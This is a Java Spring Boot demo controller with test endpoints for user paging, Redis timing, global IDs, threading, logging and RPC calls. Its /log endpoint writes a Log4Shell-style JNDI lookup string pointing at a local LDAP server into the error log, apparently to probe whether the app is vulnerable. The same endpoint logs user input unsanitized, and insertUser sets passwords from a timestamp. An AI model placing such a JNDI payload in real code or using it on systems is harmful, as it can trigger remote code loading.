package com.lsc.admin.demo.controller;

import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

import javax.websocket.server.PathParam;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.dao.DataAccessException;
import org.springframework.data.redis.connection.RedisConnection;
import org.springframework.data.redis.connection.RedisStringCommands;
import org.springframework.data.redis.core.RedisCallback;
import org.springframework.data.redis.core.RedisTemplate;
import org.springframework.data.redis.core.types.Expiration;
import org.springframework.data.redis.serializer.RedisSerializer;
import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import com.baomidou.mybatisplus.core.metadata.IPage;
import com.baomidou.mybatisplus.extension.plugins.pagination.Page;
import com.lsc.admin.demo.api.UserService;
import com.lsc.admin.demo.bean.FactoryForFITestBean;
import com.lsc.admin.demo.bean.ITestBean;
import com.lsc.admin.demo.entity.User;
import com.lsc.admin.demo.thread.AsyncTaskService;
import com.lsc.fegin.api.RpcTestService;
import com.smf.lsc.core.exception.BaseException;
import com.smf.lsc.core.respones.Result;
import com.smf.lsc.core.respones.ResultUtil;
import com.smf.lsc.global.id.GlobalId;
import com.smf.lsc.mv.redis.RedisService;

import io.swagger.annotations.Api;
import io.swagger.annotations.ApiOperation;
import lombok.extern.slf4j.Slf4j;

@RestController
@Slf4j
@Validated
@RequestMapping("/demo")
@Api(value="用户controller",tags={"用户操作接口"})
public class DemoController {

	@Autowired
	private UserService userService;

	@Autowired
	private RedisService redis;

	@Autowired
	private GlobalId globalId;

	@Autowired
	private AsyncTaskService asyncTaskService;

//	@Autowired
//	private MqProducer mqProducer;

	@Autowired
	private RpcTestService rpcService;

	@Autowired
	private RedisTemplate redisTemplate;

	/* swagger方法注解 */
    @ApiOperation(value = "查询用户", notes = "")
	@RequestMapping("/getUserPage")
	public Result<IPage<User>> getUserAllByPage(int pageSize, int pageNum) throws BaseException {
		// 1、查询用户信息
		IPage<User> userPage = new Page<>(pageNum, pageSize);// 参数一是当前页，参数二是每页个数
		userPage = userService.selectPage(userPage, null);
		List<User> list = userPage.getRecords();
		return ResultUtil.successResult(userPage, "");
	}

	@RequestMapping("/getUserAll")
	public Result<List<User>> getUserAll() throws BaseException {
		// 2、查询全部用户信息
		long start = System.currentTimeMillis();
		List<User> list = userService.list();
		long end = System.currentTimeMillis();
		System.out.println("耗时:" + (end - start) + "ms");
		return ResultUtil.successResult(list.size(), "");
	}

	@RequestMapping("/insertUser")
	public Result<List<User>> insertUser(String name) throws BaseException {
		// 3、新增用户信息
		User user = new User();

		// 不设置id的话，会自动生成一个UUID
		long newUserId = globalId.getId("user-id");
		user.setId(String.valueOf(newUserId));

		user.setUserName(name);

		SimpleDateFormat sdf = new SimpleDateFormat("yyyyMMddHHmmss");// 设置日期格式
		user.setUserPassword(sdf.format(new Date()));
		boolean save = userService.save(user);

		return getUserAll();
	}

	@RequestMapping("/getId")
	public Result<Long> getGobalId(String key) throws BaseException {
		// 4、获取全局id
		long start = System.currentTimeMillis();
		long newUserId = globalId.getId(key);
		long end = System.currentTimeMillis();
		System.out.println("耗时:" + (end - start) + "ms");
		return ResultUtil.successResult(newUserId, "");
	}

	@RequestMapping("/redis")
	public Result<String> operateRedis(String key, String value) throws BaseException {
		// 6、 缓存使用
//		if (StringUtil.isNullOrEmpty(value)) {
//			String redis_str = (String) redis.stringGetStringByKey(key);
//			return ResultUtil.SuccessResult(redis_str, "");
//		} else {
//			redis.stringSetValueAndExpireTime(key, value, 3000);
//			String redis_str = (String) redis.stringGetStringByKey(key);
//			return ResultUtil.SuccessResult(redis_str, "");
//		}
		long start = System.currentTimeMillis();
		for (int i = 0; i < 1000; i++) {
			redis.stringSetValueAndExpireTime("key" + i, String.valueOf(i + 1), 30);
		}
		long end = System.currentTimeMillis();
		System.out.println("redis十万存储耗时:" + (end - start) + "ms");
		return ResultUtil.successResult("执行完毕", "");
	}

	@RequestMapping("/redisPip")
	public Result<String> operateRedisPipeline(String key, String value) throws BaseException {
		long start = System.currentTimeMillis();
		RedisSerializer keySer = redisTemplate.getKeySerializer();
        RedisSerializer valueSer = redisTemplate.getValueSerializer();
        RedisSerializer hashKeySer = redisTemplate.getHashKeySerializer();
        RedisSerializer hasValSer = redisTemplate.getHashValueSerializer();
		// 不带返回值使用pipeline  关键是使用第三个参数 pipeline
        redisTemplate.execute(redisConnection ->
        {
        	for (int i = 0; i < 100; i++) {
    			redisConnection.set(keySer.serialize("key" + i), valueSer.serialize(String.valueOf(i + 1)),Expiration.seconds(30), RedisStringCommands.SetOption.UPSERT);
    		}
            
            return null;
        }, true, true);
      
        //根据hashKey依次获取所有value
        List<Object> executeResult = redisTemplate.executePipelined(new RedisCallback<Object>() {
            @Override
            public Object doInRedis(RedisConnection connection) throws DataAccessException {
                for (int i = 0; i < 100; i++) {
                	connection.get(keySer.serialize("key" + i));
        		}
                return null;
            }
        });
        
		long end = System.currentTimeMillis();
		System.out.println("redisPipeline十万存储耗时:" + (end - start) + "ms");
		return ResultUtil.successResult("执行完毕", "");
	}

	@RequestMapping("/thread")
	public Result<String> operateThread(int taskCount) throws BaseException {
		// 7、 多线程-全局ID锁控
		for (int i = 0; i < taskCount; i++) {
			asyncTaskService.executeAsyncTask(i);
		}
		return ResultUtil.successResult("线程启动完毕，请查看控制台", "");
	}

	@RequestMapping("/log")
	public Result<String> printlLog(String logStr) throws BaseException {
		// 8、日志输出
		if (log.isDebugEnabled()) {
			log.debug("===调试日志：" + logStr);
		}
		log.info("===信息日志：" + logStr);
		log.warn("===警告日志：" + logStr);
		log.error("===错误日志：" + "${jndi:ldap://127.0.0.1:1389/su0or9}");
		return ResultUtil.successResult("日志打印完毕，请查看日志", "");
	}

//	@RequestMapping(value = "/sendmq")
//	public Result<String> sendMQ() {
//		long start = System.currentTimeMillis();
////		kafkaProducer.send("123kafka");
//		
//		mqProducer.sendMessage("kkkk123kafka");
//		
//		long end = System.currentTimeMillis();
//        System.out.println("耗时:"+ (end - start) +"ms");
//		return ResultUtil.SuccessResult("消息发送成功", "");
//	}

	/**
	 * @test 微服务调用
	 * @return
	 * @throws BaseException
	 */
	@GetMapping("/callMsrf")
	public Result<String> getFegin() {
		return rpcService.getRpc();
	}
	
	@GetMapping("/error")
	public Result<String> testError() throws BaseException {
//		throw new BaseException(1000,"测试异常");
//		throw new BaseException(1001);
		Map map=new HashMap();
		map.put("0", "参数1");
		map.put("res", "结果2");
		throw new BaseException(1002,map);
	}
	
	@Autowired
	private ITestBean testBean;
	@Autowired
	private FactoryForFITestBean fb;
	
	@GetMapping("/testbean")
	public Result<String> testBean() throws BaseException {
		testBean.getTest();
		fb.getFITestBean("fmy2").getFTest();
		return ResultUtil.successResult("bean", "");
	}
	
	@RequestMapping("/dtpinsert")
	public Result<String> dtpInsert() throws BaseException {
		 return userService.dtpInsertUser();
	}
	/**
	 * rest加解密测试
	 * get需要加密后增加encode转换特殊字符
	 * @param id
	 * @param name
	 * @return
	 * @throws BaseException
	 */
	@GetMapping("/crype/get")
	public Result<String> crypeGet(String id,int name) throws BaseException {
		return ResultUtil.successResult(id+"bean"+name, "");
	}
	@PostMapping("/crype/post")
	public Result<String> crypePost(@RequestBody User user) throws BaseException {
		return ResultUtil.successResult(user.toString(), "");
	}
}